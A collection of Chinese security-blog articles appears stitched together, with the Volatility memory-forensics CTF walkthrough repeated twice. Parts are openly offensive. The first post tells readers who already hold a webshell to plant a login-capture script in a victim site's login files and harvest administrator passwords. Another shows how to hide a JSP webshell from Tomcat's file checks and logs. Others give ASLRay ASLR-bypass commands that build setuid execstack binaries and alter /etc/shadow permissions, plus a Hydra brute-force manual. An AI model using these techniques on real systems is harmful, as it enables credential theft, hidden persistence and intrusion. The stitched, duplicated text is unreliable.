本文原创作者:Laimooc(原名xoanHn)

 很多时候呢,我们拿到一个shell以后,偶尔会遇到密码解不了的情况,用xss收集cookie吧,感觉不方便;利用xss平台劫持表单吧,感觉麻烦,也会担心自己想要的密码别人也copy了一份等等情况吧,这个时候我们就需要自己想办法来收集想要的PWD……

最简单了,看别人的登陆界面如下:

      I春秋的登陆界面,我们可以看到用户和密码的的name属性分别是:“username还有password“,当然针对i春秋这样的cms,你若是巧合的拥有这样类似的网站shell,

1.jpg

       然后我们再找一个一下thinkphp的登陆界面:

2.jpg

        其实也是看账户 还有 密码的name属性:“user 还有 password“,其实登陆中的name都差不多,那么我们就可以直接在shell中找到登陆文件 ,然后修改相关内容即可。

那么问题来了,很多人会感觉到登陆的文件很繁琐或者是不好找什么的,那么最好的办法就是我们自己写一个抓取登陆时候post数据的脚本,然后用相关的文件来include它,这样就完成了既保证网站安全运行,又保障了你能够得到你想要的密码。惊喜不惊喜,意外不意外。

        再看一下我的网站后台,很简单,直接admin目录,啥也不说了,直接找到我的admin目录,include我们的脚本,就拿到了管理员的密码

       我是不是说多了怎么扯犊子到管理员的密码了,我日啊,罪过罪过,我是故意的,你没有听错,我就是故意的,This is bypass ,this is a gold key,when you wonna be get someone else’s password .

4.jpg

哈哈,你开心了吗,兄弟们

       其实,对于那种开始就让你登陆的网站,你可以从它的index.php文件来进行循规蹈矩,看它的require 或者 include等的调用文件,只要和登陆有关系,或者直接可以说成是登陆的过程中会调用到的文件来说直接把咱们研究的文件include其中即可拿到密码。

      啰嗦了这么久,上面这句才是重点,让你们失望了,小弟的语言组织能力需要联系,那么就总结一句话吧:凡是登陆的过程有调用到的文件,咱么那就可以include进去,然后就拿到密码了!!

5.jpg

最后上一张我利用的图片,不许激动哦

6.jpg

最后干货在这里

下载地址 戳我吧~ ~

海量数据全面入侵、AlphaGo轻松战胜最强人类、自动驾驶技术日趋成熟……一系列事件标志着AI技术进入了一个高速发展的爆发期人工智能」也再次走进了大众视野。然而,新兴技术往往伴随着新的威胁,AI时代的信息安全将会面临哪些全新挑战呢?

斗象科技邀请行业专家,联合业内安全创新厂商及权威媒体一起举办首届AI安全嘉年华,围绕当下AI热点「深度学习、跨界融合、人机协同、智能操作」在信息安全领域中的应用,给你一次零距离“触摸”AI技术的机会,亲身感受AI安全的神秘魅力。

人工智能在信息安全领域的黑与白

10月18日,德国弗劳恩霍夫应用集成信息安全研究所的肖煌老师为我们带来了AI安全公开课系列的第一课——「人工智能在信息安全领域的黑与白」,所谓温故而知新,下面就来简要回顾一下首节课程的精彩内容吧!

1.信息安全领域的人工智能

近年来,网络攻击的破坏性越来越强,攻击者所需的技术水平却日趋降低,无需学习专业技能,只要拥有黑客工具并掌握一些基本用法,往往就能达到预期的攻击目的。从业人员缺口巨大、安全威胁越来越多、数据量越来越大等问题日渐显现,将人工智能应用在自动化防御和威胁感知等方面则可以显著缓解以上问题。

2.png

2.深度学习技术的应用场景

机器学习的发展史,大致可以分为模式识别机器学习深度学习」三个时代。机器学习能力的飞速提升,与海量数据增长和强大的数据分析能力是分不开的。在信息安全领域,深度学习也已经有了较多成熟的应用。 大量数据内容被识别、理解、解释,形成庞大的特征库,为具体的应用场景打下坚实的基础,肖煌博士分别为我们介绍了以下内容:

1.僵尸网络监测

2.恶意域名学习

3.基于行为的生物特征识别

4.鼠标动态行为检测

5.手机触屏行为检测

此外,肖煌博士也与观众们进行了亲密互动,现场回答了数个具有代表性的问题。


继肖煌博士带来的第一节免费AI安全公开课后,11月8日,我们请来了斗象科技美女产品经理——吴婷,带来主题为《智能引力——突破安全视界》的分享。

AI安全系列公开课第二节

ai嘉年华-06.png

本期讲师

吴婷

前腾讯高级产品经理,RSVP高级经理、大数据分析专家,斗象科技网藤产品负责人。

分享内容

本次,吴婷将带来主题为《智能引力-突破安全视界》的分享,内容包括但不仅限于以下几点:

1、攻防升级-从传统到智能

2、 智能体系下的智能安全

3、 智能安全场景下的SVA

4、 基于机器学习的安全检测

公开课信息:

公开课时间:11月8日(周三)20:00

公开课地址:FreeBuf公开课

参与方式:

转发本条消息至朋友圈,并将截图发送给公开课小助手微信:fbgkk2017 ,小助手将邀请您加入公开课交流群(已经入群的请记得关注群消息)

( * 担心错过公开课的同学可点击下方文字链接,留下联系方式,当天我们将短信提醒大家。)

14919630614270.jpg

AI安全系列公开课报名

最近,斗哥在刷CTF题目。突然刷到了内存取证类,了解到了一款牛逼的工具——Volatility,在kali linux也默认安装好了这个工具,正好可以好好学习一波。

Volatility 简介:

Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Wnidows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

简介.png

题目来源:

还记得取证那题吗?既然有了取证神器,这里有一个可疑文件以及该存储该文件电脑的一个内存快照,那么接下来我们实战一下吧。 

由于文件比较大,请大家至百度云盘下载: 

链接: http://pan.baidu.com/s/1c2BIGLE 

密码: 9v2z

打开是2个文件:

题目来源.png

 

volatility 使用:

volatility -f <文件名> –profile=<配置文件> <插件> [插件参数] 

获取–profile的参数 

使用imageinfo插件来猜测dump文件的profile值:WinXPSP2x86 

[email protected]:~/quzhen# volatility -f mem.vmem imageinfo

info.png

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86

86.png

shell的命令: 

dt(“内核关键数据结构名称”) 

如: 

dt(“_PEB”)

dt.png

列举进程:

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86 pslist

jincheng.png

 

列举缓存在内存的注册表 :

olatility -f mem.vmem –profile=WinXPSP2x86 hivelist

list.png

 hivedump 打印出注册表中的数据 :

volatility -f mem.vmem –profile=WinXPSP2x86 hivedump -o 注册表的 virtual 地址

dizhi.png

 

获取SAM表中的用户 :

volatility -f mem.vmem –profile=WinXPSP2x86 printkey -K “SAM\Domains\Account\Users\Names” 

可以看到有4个用户

yonghu.png

 

获取最后登录系统的账户 :

volatility -f mem.vmem –profile=WinXPSP2x86 printkey -K “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” 

提取出内存中记录的 当时正在运行的程序有哪些,运行过多少次,最后一次运行的时间等信息 

volatility -f mem.vmem –profile=WinXPSP2x86 userassist

sist.png

 将内存中的某个进程数据以 dmp 的格式保存出来 。

volatility -f mem.vmem –profile=WinXPSP2x86 -p [PID] -D [dump 出的文件保存的目录]

mulu.png

二进制编辑器 hexeditor 将以上保存的 dmp 文件打开,并进行调查取证的工作 。

hexeditor 1736.dmp

二进制.png

 你还可以使用 strings 这个工具将它的字符串打印出来。 

例:

strings 1736.dmp > 1736.txt 

strings 1608.dmp > 1736.txt | grep shellcode 

提取内存中保留的 cmd 命令使用情况 。

volatility -f mem.vmem –profile=WinXPSP2x86 cmdscan

can.png

 

获取到当时的网络连接情况 。

volatility -f mem.vmem –profile=WinXPSP2x86 netscan

scan.png


获取 IE 浏览器的使用情况。 

volatility -f mem.vmem –profile=WinXPSP2x86 iehistory 

获取内存中的系统密码,我们可以使用 hashdump 将它提取出来 。

volatility -f mem.vmem –profile=WinXPSP2x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址)

 地址.png

volatility -f mem.vmem –profile=WinXPSP2x86 hashdump -y 0xe1035b60 -s 0xe16aab60 

最大程度上将内存中的信息提取出来,那么你可以使用 timeliner 这个插件。它会从多个位置来收集系统的活动信息 

volatility -f mem.vmem –profile=WinXPSP2x86 timeliner


解题步骤:

首先解压获得的两个文件,一个是内存文件,另一个是加密文件。

加密文件.png

 

打开kali,使用volatility 查看进程,可以发现一个TrueCrypy.exe的进程。 

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86 pslist

ps.png

 

TrueCrypy.exe是一款加密程序,而我们可以推出,suspicion为加密的结果。 

我们需要从内存dump出key来。 

volatility -f mem.vmem –profile=WinXPSP2x86 memdump -p 1464 -D ctf/ 

ctf.png

 

dump出来的文件为1464.dmp 。

Elcomsoft Forensic Disk Decryptor 的使用。

我们需要借助Elcomsoft Forensic Disk Decryptor(Elcomsoft硬盘取证解密器,简称为EFDD)软件来获取key和破解文件  。

01.png

02.png

03.png

04.png

05.png

06.png

07.png

08.png

09.png

640.webp.jpg

最近,斗哥在刷CTF题目。突然刷到了内存取证类,了解到了一款牛逼的工具——Volatility,在kali linux也默认安装好了这个工具,正好可以好好学习一波。

Volatility 简介:

Volatility是一款开源的,基于Python开发的内存取证工具集,可以分析内存中的各种数据。Volatility支持对32位或64位Wnidows、Linux、Mac、Android操作系统的RAM数据进行提取与分析。

简介.png

题目来源:

还记得取证那题吗?既然有了取证神器,这里有一个可疑文件以及该存储该文件电脑的一个内存快照,那么接下来我们实战一下吧。 

由于文件比较大,请大家至百度云盘下载: 

链接: http://pan.baidu.com/s/1c2BIGLE 

密码: 9v2z

打开是2个文件:

题目来源.png

 

volatility 使用:

volatility -f <文件名> –profile=<配置文件> <插件> [插件参数] 

获取–profile的参数 

使用imageinfo插件来猜测dump文件的profile值:WinXPSP2x86 

[email protected]:~/quzhen# volatility -f mem.vmem imageinfo

info.png

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86

86.png

shell的命令: 

dt(“内核关键数据结构名称”) 

如: 

dt(“_PEB”)

dt.png

列举进程:

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86 pslist

jincheng.png

 

列举缓存在内存的注册表 :

olatility -f mem.vmem –profile=WinXPSP2x86 hivelist

list.png

 hivedump 打印出注册表中的数据 :

volatility -f mem.vmem –profile=WinXPSP2x86 hivedump -o 注册表的 virtual 地址

dizhi.png

 

获取SAM表中的用户 :

volatility -f mem.vmem –profile=WinXPSP2x86 printkey -K “SAM\Domains\Account\Users\Names” 

可以看到有4个用户

yonghu.png

 

获取最后登录系统的账户 :

volatility -f mem.vmem –profile=WinXPSP2x86 printkey -K “SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” 

提取出内存中记录的 当时正在运行的程序有哪些,运行过多少次,最后一次运行的时间等信息 

volatility -f mem.vmem –profile=WinXPSP2x86 userassist

sist.png

 将内存中的某个进程数据以 dmp 的格式保存出来 。

volatility -f mem.vmem –profile=WinXPSP2x86 -p [PID] -D [dump 出的文件保存的目录]

mulu.png

二进制编辑器 hexeditor 将以上保存的 dmp 文件打开,并进行调查取证的工作 。

hexeditor 1736.dmp

二进制.png

 你还可以使用 strings 这个工具将它的字符串打印出来。 

例:

strings 1736.dmp > 1736.txt 

strings 1608.dmp > 1736.txt | grep shellcode 

提取内存中保留的 cmd 命令使用情况 。

volatility -f mem.vmem –profile=WinXPSP2x86 cmdscan

can.png

 

获取到当时的网络连接情况 。

volatility -f mem.vmem –profile=WinXPSP2x86 netscan

scan.png


获取 IE 浏览器的使用情况。 

volatility -f mem.vmem –profile=WinXPSP2x86 iehistory 

获取内存中的系统密码,我们可以使用 hashdump 将它提取出来 。

volatility -f mem.vmem –profile=WinXPSP2x86 hashdump -y (注册表 system 的 virtual 地址 )-s (SAM 的 virtual 地址)

 地址.png

volatility -f mem.vmem –profile=WinXPSP2x86 hashdump -y 0xe1035b60 -s 0xe16aab60 

最大程度上将内存中的信息提取出来,那么你可以使用 timeliner 这个插件。它会从多个位置来收集系统的活动信息 

volatility -f mem.vmem –profile=WinXPSP2x86 timeliner


解题步骤:

首先解压获得的两个文件,一个是内存文件,另一个是加密文件。

加密文件.png

 

打开kali,使用volatility 查看进程,可以发现一个TrueCrypy.exe的进程。 

[email protected]:~/quzhen# volatility -f mem.vmem –profile=WinXPSP2x86 pslist

ps.png

 

TrueCrypy.exe是一款加密程序,而我们可以推出,suspicion为加密的结果。 

我们需要从内存dump出key来。 

volatility -f mem.vmem –profile=WinXPSP2x86 memdump -p 1464 -D ctf/ 

ctf.png

 

dump出来的文件为1464.dmp 。

Elcomsoft Forensic Disk Decryptor 的使用。

我们需要借助Elcomsoft Forensic Disk Decryptor(Elcomsoft硬盘取证解密器,简称为EFDD)软件来获取key和破解文件  。

01.png

02.png

03.png

04.png

05.png

06.png

07.png

08.png

09.png

640.webp.jpg

ASLR(Address Space Layout Randomization,即地址空间格局随机化)是指利用随机方式配置数据地址,一般现代系统中都加设这一机制,以防范恶意系统对已知地址进行攻击。不过目前已经有多种绕过ASLR的方式,今天将介绍一个简单的ASLR绕过工具。

介绍

68747470733a2f2f692e696d6775722e636f6d2f6d42757175384a2e6a7067.jpg

特点

而ASLRay是一款可以绕过ASLR的工具,其特点如下:

ASLR绕过

跨平台

较为简约

操作简单

无法修复

依赖

Linux 2.6.12 – 适用于任何基于Linux的x86-64的操作系统。

限制

堆栈段必须可执行(-z execstack)

二进制必须在本地通过参数(不是文件,套接字或者输入)来利用

不支持其他架构和操作系统

需要知道缓冲区的限制/大小

工作原理

你有没有听说过堆喷射攻击(Heap Spraying attack)?其实Stack Spraying也差不多,不过在大多数情况下它都被认为很不实用,特别是x86-64上的ALSR。

而最近作者证明恰恰相反。

对于32位,一共有2^32(4 294 967 296)个理论地址,然而对于虚拟化的内存中的执行,内核仅允许控制2^(32/2)即65 536个理论地址。这意味着如果我们在堆栈中控制多于五万个字符,那么由于内核的重定向和重新转换,我们就可以指向的shellcode了。根据我的测试,其实100个甚至10个字符就够了。

这可以使用shell变量来实现,这些变量并不是真正限于特定的长度,但实际的限制是大约一百万,否则会使TTY饱和。那么,为了搭配任何shellcode成功利用,我们要将NOP sled紧接着shellcode放入shell变量中,然后通过随机地址来利用。要注意的是,NOP sled并不是必要的。

在64位系统中,情况就有些不一样了,但是我发现并没有变化太大。

当然了,你不一定要覆盖所有2^64种可能性,事实上内核只允许48位,另外一部分有一半是静态的和可预测的,这样算下来就是2^(4*8+5)即137 438 953 472种可能性。作者之前提到了shell变量的大小限制,其实还有一个计数限制,大约为10,因此我们可以存储一个10万字符的shellcode。这次需要强制使用NOP sled,因为这样会更快。

总而言之,在32为和64位系统中,ALSR可以通过几行shell在几分钟之内轻松绕过。

如何操作

如果你在之前至少利用过一个缓冲区溢出,就可以直接跳过这里了,但是为了防万一:

apt install gcc libc6-dev-i386 || kill -9 $$
chmod u+x ASLRay.sh
sudo gcc -z execstack test.c -o test
sudo gcc -m32 -z execstack test.c -o test32
sudo chmod +s test test32
source ASLRay.sh test32 1024
source ASLRay.sh test 1024
source ASLRay.sh test 1024 \x31\x80...你的shellcode

在debian上证明NOP sled不是必需的:

注意!!!这会改变etc/passwd且修改/etc/shadow的权限,所以推荐使用虚拟机。

chmod u+x PoC.sh
source PoC.sh
grep ALI /etc/passwd

如果没有用,就在一开始加上一些NOP(\x90)

别忘了检查堆栈段是否可执行和ASLR的设置:

scanelf -e test | grep RWX
or
readelf -l test | grep RWE
grep 2 /proc/sys/kernel/randomize_va_space

你可以将shellcode放入一个变量中,并为ASLR的shell分配随机地址,作者认为这样的内核虚拟化行为是一个未知的漏洞,所以PoC属于0day。

sudo gcc -z execstack -fno-stack-protector test.c -o test
sudo gcc -m32 -z execstack -fno-stack-protector test.c -o test32 

如何防范

1.要记得始终依赖于多重保护,而并非单一保护。

2.或许我们需要新的系统安全机制。

我们身处雨中,雨便是随机的,倘若置身雨外,则其规律一览无余。

*参考来源:github,Covfefe编译,转载请注明来自FreeBuf.COM

这篇笔记我尽量少贴代码,有兴趣的可以自己去跟一下。

需要知道的背景知识

1. 在 tomcat 的 conf/web.xml 文件中配置了一个如下的 servlet:

<servlet>
   <servlet-name>jsp</servlet-name>
   <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
   <init-param>
       <param-name>fork</param-name>
       <param-value>false</param-value>
   </init-param>
   <init-param>
       <param-name>xpoweredBy</param-name>
       <param-value>false</param-value>
   </init-param>
   <load-on-startup>3</load-on-startup>
</servlet>

<servlet-mapping>
   <servlet-name>jsp</servlet-name>
   <url-pattern>*.jsp</url-pattern>
   <url-pattern>*.jspx</url-pattern>
</servlet-mapping>

这意味着,tomcat 接收到的所有的 jsp 或 jspx 的请求,都会转交给 

org.apache.jasper.servlet.JspServlet

来处理,由它来将请求导向至最终的位置。

2. Jsp 文件会被转换为 Java 文件,并随后被编译为 class。转换后的文件与编译后的 class 默认保存在 Tomcat 下的 work 目录中。请求最终会被导向至从 Jsp 文件编译出来的 class 的对象上。

3.  Jsp 被编译并被加载实例化后,会被封装在一个 JspServletWrapper 对象中。在 Tomcat 中,每一个 Context 都对应有一个 JspRuntimeContext 对象,该对象中以 Map 的形式,以 path(如 /index.jsp) 为key 保存了当前 Context 中所有的 JspServletWrapper 对象。

4. 被编译并且被 Tomcat 加载后(创建了对应的 JspServletWrapper 对象后),Jsp 文件以及转换出来的 Java 文件以及由 Java 文件编译出来的 class 文件,在一定程度上来说,都是可有可无的。

这里简述一下 Tomcat 会在什么时候对 Jsp 进行编译

  1. 当 Tomcat 处于 development 模式时(这是默认的),当一个 Jsp 第一次被请求时,会对被请求的文件进行编译。随后,每次请求时,都会对文件进行更新检查,一旦发现源 Jsp 文件有变更,则将重新编译。而如果发现源 Jsp 文件不存在了,则会出现 404,这是我们要 “欺骗” 的一个地方。

  2. 当 Tomcat 处于非 development 模式,且 JspServlet 的初始化参数 checkInterval 的值大于 0 的时候,Tomcat 将采用后台编译的方式 。这种情况下,当一个 Jsp 第一次被访问的时候,它将会被编译。随后每隔指定的时间,会有一个后台线程对这些 Jsp 文件进行更新检查,如果发现文件有更新,则将在后台进行重新编译,如果发现文件不存在了,将从 JspRuntimeContext 中删除对应的 JspServletWrapper 对象,导致我们随后的访问出现 404。这是我们要欺骗的另一个地方,虽然看起来与上面是一样的,但是体现在代码中却不太一样。

讲到这里,所谓 “隐藏任意 Jsp 文件” 的原理也就很简单了。只要在 Jsp编译完成后,删掉原有 Jsp 文件,并 “欺骗” Tomcat 让它认为文件依然存在,就可以了。

简述一下 Tomcat 接收请求的过程,当然这里只简述请求到达 JspServlet 后发生的事情,之前的事情就太多了。这里从 JspServlet 的 serviceJspFile 开始说起,代码如下:

private void serviceJspFile(HttpServletRequest request,
                           HttpServletResponse response, String jspUri,
                           boolean precompile)
throws ServletException, IOException {

JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
   if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
           if (wrapper == null) {
// Check if the requested JSP page exists, to avoid
               // creating unnecessary directories and files.
               if (null == context.getResource(jspUri)) {
handleMissingResource(request, response, jspUri);
                   return;
               }
wrapper = new JspServletWrapper(config, options, jspUri,
                                               rctxt);
               rctxt.addWrapper(jspUri,wrapper);
           }
}
}

try {
wrapper.service(request, response, precompile);
   } catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
   }

}

它的主要作用就是检查 JspRuntimeContext 中是否已经存在与当前 Jsp 文件相对应的 JspServletWrapper(如果存在的话,说明这个文件之前已经被访问过了)。有的话就取出来,没有则检查对应的 Jsp 文件是否存在,如果存在的话就新创建一个 JspServletWrapper 并添加到 JspRuntimeContext 中去。

随后会进入 JspServletWrapper 的 service 方法,如下(我对代码进行了删减,只看与主题有关的部分):

public void service(HttpServletRequest request,
                   HttpServletResponse response,
                   boolean precompile)
throws ServletException, IOException, FileNotFoundException {

Servlet servlet;

   try {

/*
        * (1) Compile
        */
       if (options.getDevelopment() || firstTime ) {
synchronized (this) {
firstTime = false;

               // The following sets reload to true, if necessary
               ctxt.compile();
           }
} else {
if (compileException != null) {
// Throw cached compilation exception
               throw compileException;
           }
}

/*
        * (2) (Re)load servlet class file
        */
       servlet = getServlet();

       // If a page is to be precompiled only, return.
       if (precompile) {
return;
       }

} catch (ServletException ex) {
.....
}

/*
        * (4) Service request
        */
       if (servlet instanceof SingleThreadModel) {
// sync on the wrapper so that the freshness
          // of the page is determined right before servicing
          synchronized (this) {
servlet.service(request, response);
           }
} else {
servlet.service(request, response);
       }
} catch (UnavailableException ex) {
....
}
}

可以看到,主要流程就是编译 Jsp,然后进入编译出来的 Jsp 的 service 方法,开始执行  Jsp 内的代码。这里先判断当前 Jsp 是不是第一次被访问,或者 Tomcat 是否处于 development 模式中。如果是,则会进入 

ctxt.compile();

对 Jsp 进行编译。ctxt 是 JspCompilationContext 的对象,该对象内封装了与编译 Jsp 相关的所有信息,每一个 JspServletWrapper 里面都有一个自己的 JspCompilationContext。也就是在 compile 方法里面,对 Jsp 文件的更改以及删除做了检查。 

而当 Tomcat 利用后台线程来对 Jsp 的更新删除做检查的时候,是不会经过这里的,而是直接进入 JspCompilationContext 的 compile 方法(也就是上文的 ctxt.compile() 方法)。代码如下:

public void compile() throws JasperException, FileNotFoundException {
createCompiler();
   if (jspCompiler.isOutDated()) {
if (isRemoved()) {
throw new FileNotFoundException(jspUri);
       }
try {
jspCompiler.removeGeneratedFiles();
           jspLoader = null;
           jspCompiler.compile();
           jsw.setReload(true);
           jsw.setCompilationException(null);
       } catch (JasperException ex) {
// Cache compilation exception
           jsw.setCompilationException(ex);
           if (options.getDevelopment() && options.getRecompileOnFail()) {
// Force a recompilation attempt on next access
               jsw.setLastModificationTest(-1);
           }
throw ex;
       } catch (FileNotFoundException fnfe) {
// Re-throw to let caller handle this - will result in a 404
           throw fnfe;
       } catch (Exception ex) {
JasperException je = new JasperException(
Localizer.getMessage("jsp.error.unable.compile"),
                   ex);
           // Cache compilation exception
           jsw.setCompilationException(je);
           throw je;
       }
}
}

JspCompilationContext 对象内有一个 Compile 对象,用它来对 Jsp 进行更新检查以及编译。jspCompile.isOutDated 方法代码如下:

public boolean isOutDated(boolean checkClass) {

if (jsw != null
           && (ctxt.getOptions().getModificationTestInterval() > 0)) {

if (jsw.getLastModificationTest()
+ (ctxt.getOptions().getModificationTestInterval() * 1000) > System
.currentTimeMillis()) {
return false;
       }
jsw.setLastModificationTest(System.currentTimeMillis());
   }

Long jspRealLastModified = ctxt.getLastModified(ctxt.getJspFile());
   if (jspRealLastModified.longValue() < 0) {
// Something went wrong - assume modification
       return true;
   }
......
}

我们只需要让此方法返回 false,那么无论 Tomcat 在何时对 Jsp 文件进行编译或者更新检查,都会认为这个 JspServletWrapper 对象的 Jsp 文件没有发生任何更改,所以也就不会发现文件被删掉了。它会继续保留这个 JspServletWrapper 对象以供客户端访问。

后面就没有什么好说的了,如何进行“欺骗”,大家直接看效果吧。将 hideshell.jsp (在后面提供) 放在 webapps/ROOT 下,同目录下有传说中的 jspspy2011.jsp:

1.jpg

2.jpg

Tomcat 启动后,先访问一下 jspspy2011.jsp,目的是为了让 Tomcat 将它编译,并生成 JspServletWrapper 保存在 JspRuntimeContext 中(其实我们也可以自己用代码来编译,但是我太懒)。然后再访问 hideshell.jsp,如下图:

3.jpg

点击 “Hide /jspspy2011.jsp”,会发现 webapps/ROOT 目录下的 jspspy2011.jsp 消失了,再访问 jspspy2011.jsp 出现了 404。Shell 被“隐藏”了,而且访问路径被更改成了 hidden-jspspy2011.jsp:

4.jpg

5.jpg

同时再回到 hideshell.jsp,它会提示 /hidden-jspspy2011.jsp 是一个疑似的隐藏文件:

6.jpg

hideshell.jsp 会尝试将被隐藏的 Jsp 文件与它生成的 Java 与 class 文件全部删掉。但是我发现如果 Jsp 中使用了内部类,这些内部类所编译出来的 class 不会被删掉。

“隐藏” 任意 Jsp 文件到此已经实现了。可是虽然文件看不到了,当我们在访问隐藏后的路径的时候,依然会产生日志。那么下一篇笔记,有可能分享一下在隐藏 Shell 的同时,如何隐藏掉它们产生的访问日志。

其实细心的话你会发现,你在访问这个 hideshell.jsp 的时候,如果你的日志使用的是默认配置的话,Tomcat 是不会记录你的访问日志的。:)

7.jpg

*本文作者:n1nty, 首发于作者公众号,转载请注明FreeBuf.COM

本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在最后,后续会把祖传的几十G字典准备好

Hydra入门使用手册

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

目录

0×00什么是Hydra?

0x01Hydra-GTK

0×02如何安装

0×03如何使用Hydra?

0×04参考文档

0×05爆破实例

0×06免责说明

0×07联系我们

0×08防范措施

0×00什么是Hydra?

Clipboard Image.png

一个非常快速的网络登录破解程序,支持许多不同的服务。

查看功能集和服务覆盖页面-包括与ncrack和medusa的速度比较 当前版本:8.6

最后更新2017-07-21

(c)vanHauser/THC的2001-2017


@thc.org; http://www.thc.org

许多模块都是由David(dot)Maciejak @ gmail(dot)com编写的

BFG代码由Jan Dlabal提供


在AGPLv3下许可(见LICENSE文件)

请不要在军事或秘密服务机构使用,

或为非法目的。

0×00什么是Hydra?

首先,欢迎来到THCHydra项目的mini-website。

每个密码安全研究显示表明,最大的安全漏洞之一是密码。 而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的

Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上测试和编译,并在GPLv3下提供了特殊的OpenSSL许可证扩展。

目前此工具支持:

Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,

HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,

HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,

PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,

SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

对于HTTP,POP3,IMAP和SMTP,支持多种登录机制,如plain和MD5等。

这个工具是一个概念模型,是 为了让安全员和安全顾问验证提供一种可能性:从远程系统到系统的未经授权的访问是多么容易。

该程序被写入了vanHauser,并得到了DavidMaciejak的额外支持。

0x01Hydra-GTK

1.选择目标,准备爆破

Clipboard Image.png

2.选择爆破ID,爆破字典

Clipboard Image.png

3.Hydra结果和输出

Clipboard Image.png

0×02如何安装

第一部分:下载

1.生产/发布版本:

最新的Hydra的源代码:hydra-8.6.tar.gz

(在所有基于UNIX的平台上编译-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)

2.发展版本:

您可以下载并编译当前在GITHUB存储库中开源的开发版本的hydra:

https://github.com/vanhauser-thc/thc-hydra

可以选择:

 svn co https://github.com/vanhauser-thc/thc-hydra

或者:

 git clone https://github.com/vanhauser-thc/thc-hydra.git

注意这是开发版本!新功能-伴随着新的bug。可能会导致Hydra无法运行!

1.只有旧版的Hydra才能使用源代码,只要是v7.x,就可以让您在不寻常的旧平台上出现问题:

hydra-5.9.1-src.tar.gz

2.Win32/Cywin二进制版本:—不再更新—

http://www.cygwin.com安装cygwin并自行编译。如果您没有安装cygwin – 那你将如何通过cygwin做适当的安全测试呢?.

这里是旧版本的ARM和Palm二进制文件,我们已经不再维护:

ARM:hydra-5.0-arm.tar.gz

Palm:hydra-4.6-palm.zip

第二部分:编译

Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以编译。

$ tar xvzf hydra-5.7-src.tar.gz

$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

它甚至可以在旧版本的SunOS,Ultrix等平台进行编译;Htdra有很多可选模块,比如用于SSH的库,SVN等网络协议。

如果有些库消失了,这些库可能就是不被您的二进制文件支持。如果您在Linux上,麻烦以下命令,这将安装所有必需的库:

Ubuntu / Debian:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat / Fedora:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE:

zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

以上所有可选的模块和功能不包括Oracle,SAPR/3和Apple文件协议-所以您需要从提供源的网站下载和安装。

对于Oracle,这是(基本安装和SDK包)的地址:

http : //www.oracle.com/technetwork/database/features/instant-client/index.html

对于所有其他Linux派生和基于BSD的系统,请使用系统软件安装程序并查找类似命名库,如上面的命令。

在所有其他情况下,您就只能手动下载所有源库并手动编译;Hydra的配置脚本会告诉您什么库是缺失,以及可以从哪里获得。

0×03如何使用Hydra

3.1.简单使用

当你刚刚进入“hydra”,您将看到一个重要的简短摘要:可用选项输入“./hydra -h”以查看所有可用的命令行选项。

请注意,不包括登录/密码文件。你需要自己生成它们,或者使用别人已经生成的;然而,默认密码列表存在,使用“dpl4hydra.sh”生成一个列表。对于Linux用户,可以使用GTK gui,尝试“./xhydra”

对于命令行用法,语法如下:

对于攻击一个目标或网络,您可以使用新的“://”样式:

hydra[某些命令行选项]协议://目标:端口/选项

旧模式也可以用于这些,另外如果你想的话,从文本文件中指定目标,你必须使用这个:

hydra[某些命令行选项][-s端口]目标协议选项

通过命令行选项,您可以指定要尝试的登录名,哪些密码,如果使用SSL,需要使用多少个并行任务才能进行攻击等。PROTOCOL是您要用于攻击的协议,例如ftp,smtp,http-get或许多其他可用目标都是要攻击的目标,选项是每个PROTOCOL模块特殊的可选值。

第一:选择您的目标

您有三个选项可以指定要攻击的目标:

1.命令行上的单个目标:只需将IP或DNS地址放入

2.命令行上的网络范围:CIDR规范如“192.168.0.0/24”

3.文本文件中的主机列表:每个条目一行(见下文)以文本形式形成一份txt文档

第二:选择您的协议

尝试避免telnet,因为检测到正确或错误的登录尝试是不可靠的。其次可以使用端口扫描器查看目标上启用了哪些协议。

